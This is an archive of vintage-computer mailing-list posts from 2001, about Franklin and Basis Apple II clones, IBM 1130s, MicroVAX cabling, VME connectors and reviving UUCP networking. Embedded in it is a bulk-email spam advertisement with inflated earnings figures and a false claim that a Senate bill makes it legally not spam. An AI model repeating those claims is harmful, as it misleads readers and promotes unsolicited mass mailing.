r.stek at snet.net (Bob Stek) Date: Sun Feb 27 19:04:34 2005 Subject: New find - Franklin ACE 100 (not 1000) Message-ID: <000601c0f77e$b6a17b30$0301a8c0@bob> Now I am not much of an Apple collector (though I'd pick up an Apple I if I saw it cheap!), but I did find a Franklin ACE 100. This is the machine which Apple sued Franklin over regarding their directly copying the Apple ROMs (changing only the power on message). IIRC, Franklin admitted the copying, saying that Apple's ROMs were too difficult to reverse-engineer easily! It looks like a bigger, uglier Franklin ACE 1000. Does anyone else have one of these beasties? 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We have over 160 million active email addresses, increasing our list at the rate of half a million to one million a month. You will have instant guaranteed results, something no other form of marketing can claim. Our turn around time is a remarkable 24 hours. Our email addresses are sorted by country, state, city and target. Your marketing campaign will speed with pinpoint accuracy to your desired audience! Call us for a free consultation at 323 876 6148 [U.S.A.]. We guarantee the lowest prices or your service is free! Best of ALL, Bulk Email Network can be used as a 100% TAX WRITE OFF for your Business! 1) Let's say you... Sell a $24.95 PRODUCT or SERVICE. 2) Let's say you... Mass Email to 1,000,000 PEOPLE DAILY. 3) Let's say you... Receive JUST 1 ORDER for EVERY 2,500 EMAILS. CALCULATION OF YOUR EARNINGS BASED ON THE ABOVE STATISTICS: [Day 1]: $9,980 [Week 1]: $69,860 [Month 1]: $279,440 Now you know why you receive so many email advertisements... Best Regards, Sam Al Bulk Email Network C.E.O Under Bill s.1618 TITLE III passed by the 105th U.S. Congress this letter is not considered "spam" as long as we include: 1) contact information and, 2) the way to be removed from future mailings (see below). To Remove Yourself From This List: Please email to jk72jk72@yahoo.com with the email address that you would like removed and the word REMOVE in the subject heading. From fmc at reanimators.org Sun Jun 17 17:50:37 2001 From: fmc at reanimators.org (Frank McConnell) Date: Sun Feb 27 19:04:34 2005 Subject: IBM 1130's In-Reply-To: "Brian Knittel"'s message of "Sun, 17 Jun 2001 13:06:42 -0700" References: <003301c0f769$07364dc0$6401a8c0@quarterbyte.com> Message-ID: <200106172251.f5HMp7X53053@daemonweed.reanimators.org> "Brian Knittel" wrote: > Are there any IBM 1130 aficionados out there? Sort of. CHAC has one, and someone not-on-the-list and I were ogling it a couple or three months ago before we got sidetracked by our day jobs. Summary: 1131 processor w/8KW, 1442 card read/punch, 1132 printer, several disc cartridges, several drawers full of card decks, about three boxes of manuals. Among other things, this got me interested enough to track down and read parts of _Programming the IBM 1130 and 1800_ by Robert K. Louden, which goes into enough detail about the 1130/1800 instruction set(s) that I think a simulation of the CPU would not be very hard. No idea where to go to find an 029. They felt antiquated to some of us in college in 1981, and the ones I knew about then appeared to be leased so vanished promptly when no longer needed. Then the college found some 026s for the EE students to use. On the other hand, I think that in 1990 I saw some things that looked like 029s, but were controlled and used as punches by an attached computer. These were in a GE plant in Fort Wayne, IN. -Frank McConnell From ab at lists.gxis.de Sun Jun 17 18:36:45 2001 From: ab at lists.gxis.de (Alexander Bochmann) Date: Sun Feb 27 19:04:34 2005 Subject: MicroVax 3300 In-Reply-To: <15Bg4x-1A1A9oC@fwd07.sul.t-online.com>; from Fritz_Chwolka@t-online.de on Sun, Jun 17, 2001 at 07:11:05PM +0200 References: <15Bg4x-1A1A9oC@fwd07.sul.t-online.com> Message-ID: <20010618013645.B29785@gxis.de> Hi, ...on Sun, Jun 17, 2001 at 07:11:05PM +0200, Fritz Chwolka wrote: > I own an MiceoVax 3300 > Sadly I have no manual which describe the hardware and so no knowledge howto connect to a > terminal. Perhaps http://www.bsdfans.org/pinouts.php can help on the connector side. On the main page also are some links to further VAX information... Alex. From allain at panix.com Sun Jun 17 18:39:26 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:34 2005 Subject: MicroVax 3100 Question & Asking for Computers References: <200106171403.QAA13892@unixag-kl.fh-kl.de> Message-ID: <00d801c0f788$c4cdabc0$8a0101ac@ibm23xhr06> > Only VAXstations have framebuffers. May I ask a philosophical question? My take on the vaxStation in general is that is allows graphics on the desktop without limiting the user to having to maintain the server, and further the server is shareable to many places. This is diluted somewhat by the impression that vaxStation/vaxServer pizza boxes go good together in pairs. once more: is this Correct? Were vaxStations (2000,3100) intended to run XWindows client (called Server) on top of Ultrix? Were there any other major software configurations? I guess if you weren't doing graphics then the Stations may have been overkill? John A. From pechter at bg-tc-ppp100.monmouth.com Sun Jun 17 19:06:20 2001 From: pechter at bg-tc-ppp100.monmouth.com (Bill Pechter) Date: Sun Feb 27 19:04:34 2005 Subject: UUCP -- uucpd (for those interested in the source code) In-Reply-To: <20010617174859.K2152@gxis.de> from Alexander Bochmann at "Jun 17, 2001 05:48:59 pm" Message-ID: <200106180006.f5I06LC02148@bg-tc-ppp100.monmouth.com> > I assume that Taylor UUCP is old-style enough... > If I had to run a non-leaf system, I would chose to install > Taylor UUCP regardless of possible lack of coolness ;) > > Alex. Since it can be built to handle SysV, HDB, BSD and Taylor log and config file types it can look like the vendor supplied versions with no problems. I built my FreeBSD version with the local mod of BSD style config files and logging (even though FreeBSD at one time shipped with Taylor and I used HDB style for a while as well to keep compatibility with files on another machine I was maintaining). Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.dyndns.org From mbbrutman at bresnanlink.net Sun Jun 17 20:08:40 2001 From: mbbrutman at bresnanlink.net (Michael Brutman) Date: Sun Feb 27 19:04:34 2005 Subject: IBM Infowindow References: <200106172136.QAA46001@opal.tseinc.com> Message-ID: <3B2D5498.3A6345B2@bresnanlink.net> I don't know much about the construction of the Infowindow terminals, but I do know that they are useful for connecting to AS/400s. (Or at least there is a model of them that is used for AS/400s.) The twinax cable is probably for direct connection to an AS/400, as a terminal or as the primary console. If you need more information, let me know - I can dig it up. (I work for IBM, at the home of the AS/400.) Mike From owad at applefritter.com Sun Jun 17 20:34:29 2001 From: owad at applefritter.com (Tom Owad) Date: Sun Feb 27 19:04:34 2005 Subject: New find - Franklin ACE 100 (not 1000) In-Reply-To: <000601c0f77e$b6a17b30$0301a8c0@bob> References: <000601c0f77e$b6a17b30$0301a8c0@bob> Message-ID: <20010618013429.28430@mail.earthlink.net> >IIRC, Franklin admitted the copying, saying that Apple's ROMs were >too difficult to reverse-engineer easily! That's a little different from what I've heard. According to a comment by Raymond McAnally on : "The rumor I heard was that during the lawsuit, Franklin made no attempt to deny that they had copied the Apple ROM's. Instead their defense was that since the only way to make the computer was to use the ROM's, Apple was unfair in not licensing the ROM for other distributors. So for a few years until the case was finally settled, Apple was forced to license the ROM's to Franklin. The result was that Franklin lost and had to cease all computer production. The decision was so broad that they couldn't even make PC clones. They did make one before the decision. I spoke with a franklin exec years ago who told me that in the end the results were a blessing in disguise. They moved out of computers and into the handheld area and ended up growing larger than they ever could as a clone maker." Tom Applefritter www.applefritter.com From ken at seefried.com Sun Jun 17 20:41:41 2001 From: ken at seefried.com (Ken Seefried) Date: Sun Feb 27 19:04:34 2005 Subject: Paper Tape & Accessories For Sale Message-ID: <20010618014141.2712.qmail@mail.seefried.com> This seems unusual enough and relevant enough to this list to give people a heads up. At least, I've never seen paper tape stuff like this for sale. No, I'm not the seller, nor do I know them. Keep your anti-eBay histrionics to yourself; there's enough of that childish rubbish on the list already. ----- Folded 1 inch wide paper tape printed with arrow, quantity of ten (10) packs each 1000 foot length. Color is buff, in good condition. http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=1247504535 Folded 1 inch wide paper tape, quantity of eighteen (18) packs each 1000 foot length. Color is pink, in new condition, original box. http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=1247504983 Folded 1 inch wide paper tape, quantity of eighteen (18) packs each 1000 foot length. Color is pink, in good condition. http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=1607661636 Vertical Forms Control Tape & Punch for Line Printers You are bidding on a punch/splicer and a box of 25 tapes, Brand new in the original box, never used. http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=1245720712 You are bidding on 15 boxes (100/box) total of 1500 one inch wide by 1.25 long 13 code, feed holes punched out, splicing patches, clear, new in boxes, and very sticky (when applied to paper the paper comes off before the adhesion fails). Retail value is $15.00/100 ($150.00). I do not use these any more. http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=1606276471 From red at bears.org Sun Jun 17 20:53:37 2001 From: red at bears.org (r. 'bear' stricklin) Date: Sun Feb 27 19:04:34 2005 Subject: Seeking: Piiceon 65 terminal info Message-ID: Hi. I've got a Piiceon 65 serial terminal here which I could use some information on. Specifically, how one can access the setup routines. Anybody know this or have docs? ok r. From fdebros at bellatlantic.net Sun Jun 17 21:33:26 2001 From: fdebros at bellatlantic.net (Fred deBros) Date: Sun Feb 27 19:04:34 2005 Subject: MicroVax 3100 Question & Asking for Computers References: <200106170023.f5H0Nrg74251@bg-tc-ppp1633.monmouth.com> Message-ID: <002c01c0f79f$0e17b7b0$0100a8c0@jack> >>The video monitor differs with the video card. The two cards are either SPX or GPX. But the mobo has a monochrome graphics section that allows decwindows eg in mono. on pins 9 and 3 (oops?) of the 15 pin female plug. in netbsd/vax I havent been able to run a mono X ....on a mono screen, but the console looks quite good that way, and in netbsd/vax you can choose the console type, vt220 or less. Fred Fred From jhellige at earthlink.net Sun Jun 17 21:23:02 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:34 2005 Subject: MicroVax 3300 In-Reply-To: <20010618013645.B29785@gxis.de> References: <15Bg4x-1A1A9oC@fwd07.sul.t-online.com> <20010618013645.B29785@gxis.de> Message-ID: >...on Sun, Jun 17, 2001 at 07:11:05PM +0200, Fritz Chwolka wrote: > > > I own an MiceoVax 3300 > > Sadly I have no manual which describe the hardware and so no >knowledge howto connect to a > > terminal. > >Perhaps http://www.bsdfans.org/pinouts.php can help on the >connector side. On the main page also are some links to >further VAX information... Since we have so many VAX people here, a question I've wondered about is what is the difference between the DEC BCC05 serial cable and the BCC08 console cable for the MicroVAX II? Also, am I correct in thinking that the BCC02 video cable goes to the DECmate II? If so, does it go between the CPU and the VR201 mono monitor or is it for the color option board? Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From foo at siconic.com Sun Jun 17 20:26:36 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:34 2005 Subject: New find - Franklin ACE 100 (not 1000) In-Reply-To: <000601c0f77e$b6a17b30$0301a8c0@bob> Message-ID: On Sun, 17 Jun 2001, Bob Stek wrote: > Now I am not much of an Apple collector (though I'd pick up an Apple I > if I saw it cheap!), but I did find a Franklin ACE 100. This is the > machine which Apple sued Franklin over regarding their directly copying > the Apple ROMs (changing only the power on message). IIRC, Franklin > admitted the copying, saying that Apple's ROMs were too difficult to > reverse-engineer easily! > > It looks like a bigger, uglier Franklin ACE 1000. Does anyone else have > one of these beasties? Have you got a picture? Or at least dimensions? I have a 1000 and it already looks big and ugly (compared to an Apple ][). Does the label on the cover say "100"? Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From allain at panix.com Sun Jun 17 21:29:48 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:34 2005 Subject: VME connector name? References: <5.1.0.14.1.20010617135901.01d4db00@mailhost.intellistar.net> <15148.64191.714751.668079@phaduka.neurotica.com> <20010617183011.O36586@tmok.com> Message-ID: <001b01c0f79e$8c24f6a0$21fe54a6@ibm23xhr06> Someone once ('88) told me that VME itself stood for "Versa-Module Eurocard". I never knew if they were BSing me or not though. John A. From aw288 at osfn.org Sun Jun 17 21:32:30 2001 From: aw288 at osfn.org (William Donzelli) Date: Sun Feb 27 19:04:34 2005 Subject: IBM 1130's In-Reply-To: <003301c0f769$07364dc0$6401a8c0@quarterbyte.com> Message-ID: > Anyone who has one (besides > bruce@bigoakhill.com, whose 1130 I'll be inheriting)? One of these days (soon, maybe in a couple of weeks?), I will get a "project" 1131. Needs lots of work...and I will have no documentation. > Anyone with software > archives perhaps? Emulators, or interest in developing one? Oh -- and where > this day and age does one go to find an 029 keypunch? These aren't > showing up on ebay in any great quantity, for some reason. I may be getting an extra 029. I recently purchased quite a bit of older IBM card gear, and of the whole pile, I had to leave the 029 behind (my current 029 is something of a disaster). The same pile had a 129 as well, but when the truck came with all of the goodies, an 083 sorter was in its place (I kept the sorter, and will be going back for the 129). Anyway, if I get the other 029 for you, would you make copies of the docs? William Donzelli aw288@osfn.org From jss at ou.edu Sun Jun 17 22:24:04 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:04:34 2005 Subject: FT: The VAX 8600 Message-ID: <992834644.3b2d7454bfa98@email.ou.edu> As you all have read, I picked up a VAX 8600 a while back and am quite fond of it. However, I thought that it might be prudent to see if any kind of trade might be struck with a list member. While that VAX is a very cool (and BIG) machine, there is nevertheless some hardware that I'd rather have in its place. Basically, I want to trade it for a PDP-11/45, /50, /55, or /70. I would prefer a complete, working system, but would not rule out a partial one or a fixer-upper. If you're interested in making a trade with me, please e-mail me directly. I *know* some of you out there have one or even several of the machines I desire, so speak up! :-) -- Jeffrey S. Sharp jss@ou.edu From pechter at bg-tc-ppp451.monmouth.com Sun Jun 17 22:31:07 2001 From: pechter at bg-tc-ppp451.monmouth.com (Bill Pechter) Date: Sun Feb 27 19:04:34 2005 Subject: VME connector name? In-Reply-To: <001b01c0f79e$8c24f6a0$21fe54a6@ibm23xhr06> from John Allain at "Jun 17, 2001 10:29:48 pm" Message-ID: <200106180332.f5I3Wc100523@bg-tc-ppp451.monmouth.com> > Someone once ('88) told me that > VME itself stood for "Versa-Module Eurocard". > I never knew if they were BSing me or not though. > > John A. I believe it's a fact. It's the old Versabus signals on Eurocard --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.dyndns.org From blstuart at bellsouth.net Sun Jun 17 22:38:38 2001 From: blstuart at bellsouth.net (blstuart@bellsouth.net) Date: Sun Feb 27 19:04:34 2005 Subject: Cyber205 was RE: Ebay horror ... In-Reply-To: Your message of Tue, 12 Jun 2001 13:23:55 -0400 (EDT) . <15142.20523.56022.712066@phaduka.neurotica.com> Message-ID: In message <15142.20523.56022.712066@phaduka.neurotica.com>, Dave McGuire write s: >On June 12, Jeff Hellige wrote: >> At least a gutted one presents at least some sort of starting point on >> which to build and it it's the racks and panels you get, that's a bit better >> than starting off with nothing more than a single board or two. If it were >> a machine I wanted badly enough, it'd still be worth looking into even in >> that type of shape. There are certainly automotive and aircraft collectors >> that have started out with less and ended up with fully functional vehicles >> after spending enough time gathering the pieces. > > You make an excellent point here...but Cyber205s aren't exactly >common enough to find parts lying around from time to time. :-/ On top of that they're very difficult to make work right. When I was at Purdue, tours of PUCC (Purdue University Computing Center) included a story about the installation of Purdue's first 205. (While I was there, they got a second one from Florida State or U. or Central Florida or somewhere like that.) It seems that when CDC was installing the machine they got it up and running well except for one instruction. After some effort to diagnose the problem, it turned out that one of the interconnecing cables was an inch too long. They shortened the cabel and the machine worked well. Brian L. Stuart From ernestls at home.com Mon Jun 18 00:36:51 2001 From: ernestls at home.com (Ernest) Date: Sun Feb 27 19:04:34 2005 Subject: Precision Echo Phase II/Pilara 2000/TA Royal ??? In-Reply-To: <200106170107.SAA10898@stockholm.ptloma.edu> Message-ID: I picked up a few new computers this weekend, from a really nice guy with an unbelievable collection. The computers are: -Basis 108 labeled as a Precision Echo Phase II. This is an over engineered German Apple II clone but I'm not sure why it was repackaged as a Precision EP II. I believe that the Basis 108 was a beige color but the PEP II is a light milk chocolate brown. The thing seems to have been built to double as granite block -heavy, cast aluminum case (a real back breaker.) Does anyone have any documentation on this beast? -Triumph Adler Alphatronic PC (Royal?)I'm sure that many of you are more familiar with this computer than I am. It looks like a typical Alphatronic PC except it has the "Royal" label underneath the TA above the keyboard. This system also as the two F1/F2 floppy drives, and a Royal A60 monitor. What's the story with this one? -Pilara 2000 -I haven't been able to find out anything about this butt-ugly computer. It has a very plain metal case, with an odd 5.25 drive wedged down in the lower left corner, and a funky keyboard that has a 25pin connector. Instead of a printer port, it has a typewriter port, and it has a composite video cable out. It's a 1983 computer that looks like a blind man designed it. In fact, it makes a Morrow MD3 look like a flashy work of design art genius. It also has two stacked mainboards (about s100 size) cabled together, to form a sandwich. Anyone know anything about this weird little computer. I'm assuming that it's a CP/M machine (what else?) Docs or software would be a big help on this one. Thanks. Ernest From at258 at osfn.org Mon Jun 18 01:21:52 2001 From: at258 at osfn.org (Merle K. Peirce) Date: Sun Feb 27 19:04:34 2005 Subject: recent aquisitions In-Reply-To: Message-ID: Last monday, we saved a Perkin Elmer 3210. While the unit seems to have suffered from headcrashes, it seems reasonably complete with a CDC 9762 badged Perkin Elmer. The main cabinet seems to have a section of covering missing. Would anyone happen to have a picture of an intact 3210? Yesterday, we took delivery of a Wang VS100 from RCS/RI. They've decided not to dabble in Wang systems. The VS100 is beautifully made, and it seems that only one bus is in use. It's fairly big and heavy though. In a pinch, you could use it as a coffin. From rigdonj at intellistar.net Mon Jun 18 06:03:26 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:04:34 2005 Subject: Digalog computer?? was Re: VME connector name? In-Reply-To: <15148.64191.714751.668079@phaduka.neurotica.com> References: <5.1.0.14.1.20010617135901.01d4db00@mailhost.intellistar.net> Message-ID: <5.1.0.14.1.20010618065423.01d4e790@mailhost.intellistar.net> Thanks to everyone that replied. The reason that I asked is because I picked up a Digalog computer that uses those connectors. The computer is a rack mount jobs that's about 6 inches tall. It has a bunch of card slots, each with a single VME type connector that the cards plug into. The cards are about 4 x 6 inches in size. The whole thing looks a lot like a standard bus computer. It has 5 1/4" floppy drive and a tape drive in the front and a hard drive in the rear of the chassis. I haven't had a chance to look at is closely yet but the CPU card has a 68010 CPU on it. The Floppy drive interface is a separate card and there are several other cards in it but I haven't check to see what they are yet. Does anyone know anything about thse machines? I found Digalog has a website but I haven't had time to search it yet. Joe At 02:45 PM 6/17/01 -0400, you wrote: >On June 17, joe wrote: > > What is the name of the 3 row connector used for the sockets where VME > > cards plug in? > > I believe those are called Eurocard connectors. It's possible, >however, that that name refers to the cards and not the connectors, >but I'm not really sure. > > -Dave McGuire From menadeau at mediaone.net Mon Jun 18 07:10:10 2001 From: menadeau at mediaone.net (Michael Nadeau) Date: Sun Feb 27 19:04:34 2005 Subject: Precision Echo Phase II/Pilara 2000/TA Royal ??? References: Message-ID: <000f01c0f7ef$a2d0a100$0c01a8c0@michaelnadeau> Royal was owned by Triump Adler. The Alphatronic was sold under the Royal name in the U.S., and under Triumph Adler in Europe, I believe. I don't have documentation for the Basis 108, but I do have promotional literature for it and the Alphatronic. If you like, I'll scan them for you. --Mike Michael Nadeau Editorial Services 603-893-2379 ----- Original Message ----- From: "Ernest" To: Sent: Monday, June 18, 2001 1:36 AM Subject: Precision Echo Phase II/Pilara 2000/TA Royal ??? > I picked up a few new computers this weekend, from a really nice guy with an > unbelievable collection. The computers are: > > -Basis 108 labeled as a Precision Echo Phase II. This is an over engineered > German Apple II clone but I'm not sure why it was repackaged as a Precision > EP II. I believe that the Basis 108 was a beige color but the PEP II is a > light milk chocolate brown. The thing seems to have been built to double as > granite block -heavy, cast aluminum case (a real back breaker.) Does anyone > have any documentation on this beast? > > -Triumph Adler Alphatronic PC (Royal?)I'm sure that many of you are more > familiar with this computer than I am. It looks like a typical Alphatronic > PC except it has the "Royal" label underneath the TA above the keyboard. > This system also as the two F1/F2 floppy drives, and a Royal A60 monitor. > What's the story with this one? > > -Pilara 2000 -I haven't been able to find out anything about this butt-ugly > computer. It has a very plain metal case, with an odd 5.25 drive wedged down > in the lower left corner, and a funky keyboard that has a 25pin connector. > Instead of a printer port, it has a typewriter port, and it has a composite > video cable out. It's a 1983 computer that looks like a blind man designed > it. In fact, it makes a Morrow MD3 look like a flashy work of design art > genius. It also has two stacked mainboards (about s100 size) cabled > together, to form a sandwich. Anyone know anything about this weird little > computer. I'm assuming that it's a CP/M machine (what else?) Docs or > software would be a big help on this one. > > Thanks. > > Ernest > > From bill at cs.scranton.edu Mon Jun 18 07:57:00 2001 From: bill at cs.scranton.edu (Bill Gunshannon) Date: Sun Feb 27 19:04:34 2005 Subject: Interest in UUCP? In-Reply-To: <20010613222902.73987.qmail@web9507.mail.yahoo.com> Message-ID: On Wed, 13 Jun 2001, Ethan Dicks wrote: > > When I was a system admin for Lucent (1997-1999), I was amazed at how much > they depend on UUCP for internal file transfer. Being the descendant of the creators of UUCP, it doesn't surprise me. I did a lot of experimienting with UUCP long before the INTERNET as we know it was even a dream in Vint Cerf's eye. I was even running UUCP accross ham Packet modems at 1200 baud before the the W0RLI BBS stuff got going. I never understood the desire to re-invent the wheel, especially in such an inferior manner when the use of UUCP would have given them Email and News right out of the box. > > > I can almost remember when I was "...!ucbvax!gatech!weasel!ken". > > I was "...!ihnp4!cbosgd!osu-eddie!giza!kumiss!erd", among other names. I just > did a web search and I can't find anything posted with my old bang path in it, I just did a quick search and found a number of articles from: pyramid!prls!philabs!trotter!bill Anybody here who knows where "trotter" was?? Or the significance of the name?? Or it's sister machine?? :-) > but I did find a couple references to "erd@kumiss.cmhnet.org", our old > local Ham Radio/Computer club UUCP domain. I went grubbing through Deja.com > in the group comp.mail.maps and found this... > > #N osu-mps, zaphod.mps.ohio-state.edu > #S Sparcstation 2; SunOS 4.1.2 > #O Department of Mathematics, The Ohio State University > #C David Alden > #E osu-mps!postmaster, osu-mps!alden > #T +1 614 292 4962 > #P 231 W 18th Ave, Columbus, OH, USA 43210 > #L 39 59 N / 83 03 W city > #R > #U cambria coral n8emr > #W alden@mps.ohio-state.edu (David J Alden); Mon Aug 24 09:04:31 EDT 1992 > # > # This machine's sysname (for news) is actually "zaphod.mps.ohio-state.edu". > # It has ~35 nntp neighbors and is the major news gateway into Columbus, Ohio. > # > osu-mps= zaphod.mps.ohio-state.edu > # > osu-mps cambria(DIRECT+HIGH), coral(DIRECT+HIGH), > kumiss(DIRECT), n8emr(DIRECT+HIGH) > > And this (once I lost my direct OSU connection... > > #N kumiss > #S Commodore-AMIGA 1000; Amiga-DOS V1.3 & Amiga-UUCP V1.15D > #O > #C Ethan Dicks > #E kumiss!erd, kumiss!postmaster > #T +1 614 *** **** > #P **** ** **** ********* ** ****** > #L 40 01 00 N / 82 59 40 W > #R This site recieves mail and a partial News feed > #U > #W kumiss!erd (Ethan Dicks); Mon Nov 25 19:07:26 EST 1991 > # > kumiss jcnpc(DIRECT) Is anyone still maintaining UUCP maps?? Hmmm. I wonder what flows in that newsgroup nowdays?? bill -- Bill Gunshannon | de-moc-ra-cy (di mok' ra see) n. Three wolves bill@cs.scranton.edu | and a sheep voting on what's for dinner. University of Scranton | Scranton, Pennsylvania | #include From John.Honniball at uwe.ac.uk Mon Jun 18 08:14:46 2001 From: John.Honniball at uwe.ac.uk (John Honniball) Date: Sun Feb 27 19:04:34 2005 Subject: HH Tiger In-Reply-To: Message-ID: I managed to acquire an HH Tiger last week. This is a fine old British microcomputer, made by HH Electronics in Cambridge in about 1983. It has a Z80 and a 6809 CPU, plus a 7220 graphics chip. Does anyone know anything about the company and/or the machine? Did the company really go out of business as a result of the development costs of the Tiger? And a specific question about the machine: which of the three ribbon cable connectors under the keyboard (BBC-Micro-style) should I connect the disk drives to? They're all the same size, unpolarised and unlabelled -- British design at its best! :-) -- John Honniball Email: John.Honniball@uwe.ac.uk University of the West of England From rhblake at bigfoot.com Mon Jun 18 08:10:25 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:34 2005 Subject: Tektronix 454 scope - what's it worth? Message-ID: Anyone have any ideas what a really good condition Tek 454 scope is worth on the open market? It's no a tube unit but rather a portable transistor/fet type with a pretty decent frequency. I'm contemplating a trade and I know what it's worth to me and what I paid for it years ago but I need some objective opinions on what the average person would think is a reasonable price for one. It's all intact and good shape just missing the front cover. From bill at cs.scranton.edu Mon Jun 18 08:36:25 2001 From: bill at cs.scranton.edu (Bill Gunshannon) Date: Sun Feb 27 19:04:34 2005 Subject: Interest in UUCP? In-Reply-To: Message-ID: On Wed, 13 Jun 2001, Brian Chase wrote: > > I think it would be interesting if you could somehow use packet radio via > amateur satellites to carry UUCP network traffic. It could definitely be > gatewayed through systems with dialup services or TCP/IP connectivity. I > just think it'd be more interesting if you could add satellites to the mix. > As a protocol, UUCP works great over packet radio, even at really low data rates. Much better than the BBS protocol that became the standard. But then, hams always suffered from NIH syndrome. The packet boxes really only lacked one feature that would have made it easier. Disconnect on drop of DTR. And that would have been trivial to add to the TNC2. I am amazed that with the way regular modems were going that the bigger companies like Kantronics didn't make this at least an option in their do everything boxes. Although there is no longer an antenna on the roof, I just peeked through the hole in the raised floor here in my office and I can see the packet node hardware is still under there. bill -- Bill Gunshannon | de-moc-ra-cy (di mok' ra see) n. Three wolves bill@cs.scranton.edu | and a sheep voting on what's for dinner. University of Scranton | Scranton, Pennsylvania | #include From bill at cs.scranton.edu Mon Jun 18 08:48:12 2001 From: bill at cs.scranton.edu (Bill Gunshannon) Date: Sun Feb 27 19:04:34 2005 Subject: UUCP and Netnews In-Reply-To: <992527842.3b28c5e280040@email.ou.edu> Message-ID: On Thu, 14 Jun 2001, Jeffrey S. Sharp wrote: > Quoting Bill Pechter : > > Let's reopen the uucp mapping project and establish new > > connectivity! > > I'll participate if I can do it without long-distance phone calls. I > believe someone said that it can be tunneled through IP. > At least comp.mail.maps still exists. I just looked, and it appears to be empty, but we could pring it back. Might be fun. I don't know who is within calling distance of Scranton, PA or Wilkes-Barre, PA, but I could have UUCP running both here at work and from my home in just a couple of hours I am sure. It's been a long time, but I doubt I have forgotten most of it. We could probably start with mostly UUCP over IP by setting the costs higher for true dial-up links and then maybe move some of it over as connectivity builds. Remember, at one time all real Email and USENET News went this way. It was done once and it can be done again. Maybe even get a paralel USENET running that will be more tightly controlled and thus less full of junk and more usefull like it used to be. Sometimes progress means going back!! bill -- Bill Gunshannon | de-moc-ra-cy (di mok' ra see) n. Three wolves bill@cs.scranton.edu | and a sheep voting on what's for dinner. University of Scranton | Scranton, Pennsylvania | #include From bill at cs.scranton.edu Mon Jun 18 08:50:46 2001 From: bill at cs.scranton.edu (Bill Gunshannon) Date: Sun Feb 27 19:04:34 2005 Subject: UUCP and Netnews In-Reply-To: <200106141439.HAA11018@stockholm.ptloma.edu> Message-ID: On Thu, 14 Jun 2001, Cameron Kaiser wrote: > Will uucico behave nicely if connected to inetd? (I want it to run through > my custom TCP wrappers so that every script kiddie out there doesn't say, > "ooo! open port!"). Yes, but that's one of the advantages. Open port to what?? I would be against running anonymous UUCP. If we keep control, we can avoid the zoo that the INTERNET is rapidly becoming. So what do we call ourselves?? USENET-II is already taken. :-) bill -- Bill Gunshannon | de-moc-ra-cy (di mok' ra see) n. Three wolves bill@cs.scranton.edu | and a sheep voting on what's for dinner. University of Scranton | Scranton, Pennsylvania | #include From fmc at reanimators.org Mon Jun 18 08:34:25 2001 From: fmc at reanimators.org (Frank McConnell) Date: Sun Feb 27 19:04:34 2005 Subject: Precision Echo Phase II/Pilara 2000/TA Royal ??? In-Reply-To: "Ernest"'s message of "Sun, 17 Jun 2001 22:36:51 -0700" References: Message-ID: <200106181334.f5IDYQU19953@daemonweed.reanimators.org> "Ernest" wrote: > -Basis 108 labeled as a Precision Echo Phase II. This is an over engineered > German Apple II clone but I'm not sure why it was repackaged as a Precision > EP II. I believe that the Basis 108 was a beige color but the PEP II is a > light milk chocolate brown. The thing seems to have been built to double as > granite block -heavy, cast aluminum case (a real back breaker.) Does anyone > have any documentation on this beast? Your description of the casework reads like a Basis 108 to me, though I didn't think it was all that heavy. Darker brown base, lighter brown top, both cast aluminum. Definitely darker than the Apple ][ case. -Frank McConnell From bdc at world.std.com Mon Jun 18 09:15:43 2001 From: bdc at world.std.com (Brian Chase) Date: Sun Feb 27 19:04:34 2005 Subject: UUCP and Netnews In-Reply-To: Message-ID: On Mon, 18 Jun 2001, Bill Gunshannon wrote: > We could probably start with mostly UUCP over IP by setting the costs > higher for true dial-up links and then maybe move some of it over as > connectivity builds. Remember, at one time all real Email and USENET > News went this way. It was done once and it can be done again. Maybe > even get a paralel USENET running that will be more tightly controlled > and thus less full of junk and more usefull like it used to be. Sometimes > progress means going back!! Yeah, maybe it should be like a ham radio license. You have to pass a test before you're allowed access to it. -brian. From bdc at world.std.com Mon Jun 18 09:17:13 2001 From: bdc at world.std.com (Brian Chase) Date: Sun Feb 27 19:04:34 2005 Subject: UUCP and Netnews In-Reply-To: Message-ID: On Mon, 18 Jun 2001, Bill Gunshannon wrote: > Yes, but that's one of the advantages. Open port to what?? I would be > against running anonymous UUCP. If we keep control, we can avoid the > zoo that the INTERNET is rapidly becoming. > > So what do we call ourselves?? USENET-II is already taken. :-) YOOSNET -brian. From bill at cs.scranton.edu Mon Jun 18 09:17:07 2001 From: bill at cs.scranton.edu (Bill Gunshannon) Date: Sun Feb 27 19:04:34 2005 Subject: Announcing VUNIC/VUnet In-Reply-To: <200106152134.OAA10196@stockholm.ptloma.edu> Message-ID: On Fri, 15 Jun 2001, Cameron Kaiser wrote: > > Can you kindly reserve the name "mystica" in your UUCP map, which is > > the name that my machines once used? > > Dibs on "stockholm" when I get this thing running. Especially if people are planning on using vintage machines and vintage versions of UUCP, names need to be kept to 8 characters or less. At least that's what I remember. bill -- Bill Gunshannon | de-moc-ra-cy (di mok' ra see) n. Three wolves bill@cs.scranton.edu | and a sheep voting on what's for dinner. University of Scranton | Scranton, Pennsylvania | #include From spectre at stockholm.ptloma.edu Mon Jun 18 09:37:49 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:34 2005 Subject: UUCP and Netnews 